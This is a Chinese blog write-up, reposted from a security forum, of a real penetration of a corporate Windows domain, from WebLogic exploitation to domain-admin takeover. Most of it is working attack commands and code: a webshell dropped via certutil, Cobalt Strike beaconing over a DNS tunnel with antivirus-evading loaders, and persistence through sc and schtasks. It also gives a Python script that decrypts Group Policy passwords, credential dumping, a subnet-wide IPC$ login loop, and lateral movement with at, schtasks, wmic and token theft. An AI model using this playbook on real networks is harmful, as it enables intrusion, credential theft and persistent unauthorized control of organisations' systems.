一次真实内网渗透
2021-03-11 10:53:13 Author: xz.aliyun.com(查看原文) 阅读量:186 收藏

前言

内网搞的少,突然遇见一个,目的拿到域控就行了,期间有些其他操作就顺带提一下,主要写了拿域控这条线,目标外网ip:wip1,后面打码严重,见谅,技术比较菜,欢迎大佬们提出宝贵意见

打点

访问http://wip1/并添加一个随意路径,发现是weblogic

尝试利用weblogic的漏洞,CVE-2019-2725 成功

信息收集

ipconfig /all 发现存在域:gxxxxxxxxx.com

whoami /all 权限system

net user /domain 查看域用户(有点多)

net group "domain admins" /domain 查看域管理员 有 个administrator

net group "domain computers" /domain 查看域内主机名

net group "domain controllers" /domain 查看域控主机名,通过ping主机名 可以获取3台域控的ip

tasklist 查看进程有没杀软(存在卡巴斯基)

Netstat -ano 查看端口开放情况

arp -a 可以推测出内网可能有那些ip段和存活主机

query user || qwinsta 查看当前登陆用户(wip1/administrator登陆中)

主要的整理哈

  1. 目前知道内网有2个段当前主机内网ip为 192.xx.xx.x5

    10.xx.xx.xx 和 192.xx.xx.xx

  2. 域控的ip为

    192.xx.xx.x3 192.xx.xx.x2 10.xx.xx.x2

  3. 一些账号,一些主机名

为了方便后续操作,base64编码和解码写入jsp马(哥斯拉)

在利用certutil 解码:Certutil -decode a.txt a.jsp

内网渗透

CS 上线

因为存在卡巴,要绕过杀软,并且通过ping 外网是ping 不通的,可能改机器不能出网
dns隧道和加载器加载加密的shellcode实现上线
dns配置
配置方式如下买一个域名添加如下记录

cs中配置

用Stageless 的shellcode,也就是如下 不然可能会导致上线很慢或者不能上线

ip: 192.xx.xx.x5 上线

权限维持

创建自启动服务进行权限维持
sc create "xxx" binpath= "cmd /c start "C:/windows/temp/xxx.bat""&&sc config "xxx" start= auto&&net start xxx
成功上线
创建定时任务避免进程被杀 每周运行一次
schtasks /create /tn "xxx" /tr "C:/windows/temp/xxx.bat" /sc weekly /mo 1 /ru system
schtasks /run /tn "xxx"
成功上线

横向渗透

密码信息

import sys
from Crypto.Cipher import AES
from base64 import b64decode

key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
cpassword = "加密的字符串"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
print o[:-ord(o[-1])].decode('utf16')
  • 利用loagonpasswords 抓取密码,只抓到了本机administrator的密码

  • 数据库账号密码

其实还有rdp登录,浏览器等密码(没抓取,先尝试以上秘密)

横向获取所有主机ip

思路

  1. domain computers 组获取主机名 + ping
  2. Spn获取主机名+ping

    setspn -t /domain -q */* > spn.txt

因为dns实在太慢了,容易断开,而且该域比较大, 就没大规模ping和扫描, 通过看 domain computers 组 通过主机名发现了有些主机的功能, 通过ping 这些主机发现全都在192这个段,并且我们具有权限的那台主机也在这段,思考了哈就先弄192这个段吧

横向渗透

利用刚才获取的密码尝试192段 ,利用了cs自带psexec 等方法批量上线,发现都是不行的,应该是有杀软,只能手动来搞了
先利用进程注入一个administrator 权限的进程获得本地管理员权限


也可以利用令牌窃取获取本地管理员权限


批量尝试,建立了链接
for /L %I in (1,1,254) do @net use \192.xx.xx.%I\ipc$ "刚才获取的密码" /user:administrator

查看那些主机有管理员登陆过(在这期间也拿了几个具有有外网ip的webshell)
shell tasklist /s ip /v
发现192.xx.xx.x0 这太主机上有域管进程并且存在卡巴

copy shellcode 和加载器到建立ipc链接的主机上


利用at 定时任务进行上线
shell net time \\ip2 查看远程主机时间
shell at time \ip 12:57 xxx.bat

等了一会,幸运的是,成功上线,同样走的dns,其实可以结合第一个shell 走smb 隧道

同样做好权限维持,查看端口发现有对外网的链接, 走http 隧道(可以利用云函数做中转隐藏cs服务IP)
上线

期间休息过一阵子没有弄,加载器被杀完了,重新改加载器,上线,但是at 命令没了(估计被发现了)......,换schtasks
schtasks /create /F /s 192.xx.xx.x0 /u administrator /p "密码" /tn test /tr "c:\windows\temp\xxxxx.bat" /sc DAILY /mo 1 /st 13:20
目前上线2台,192.xx.xx.x0 有域管理登录过,要想获取域管理员权限,常见抓秘密和hash,但是可能第二次面杀不到位,失败,还有查找各个文件等等,就不试了,直接令牌窃取,获取域管理员权限
gxxxxxxxxxxx\administrator

接下来就是登录域控,发现定时任务不行了,尝试wmic
shell wmic /node:192.xx.xx.x3 process call create "cmd.exe /c whoami>f:\xxx\xxx\result.txt"


copy shellcode 和加载器到建立ipc链接的主机上,然后执行
shell wmic /node:192.xx.xx.x3 process call create "cmd.exe /c f:\xx\xxx\xx.bat"


上线

差不多行了,数据那些就不下载了,也不维权了,交差,后面利用frp 随便访问了哈内网的web,找到一个弱口令,可以设置域策略

结束

太菜了太菜了


文章来源: http://xz.aliyun.com/t/9257
如有侵权请联系:admin#unsafe.sh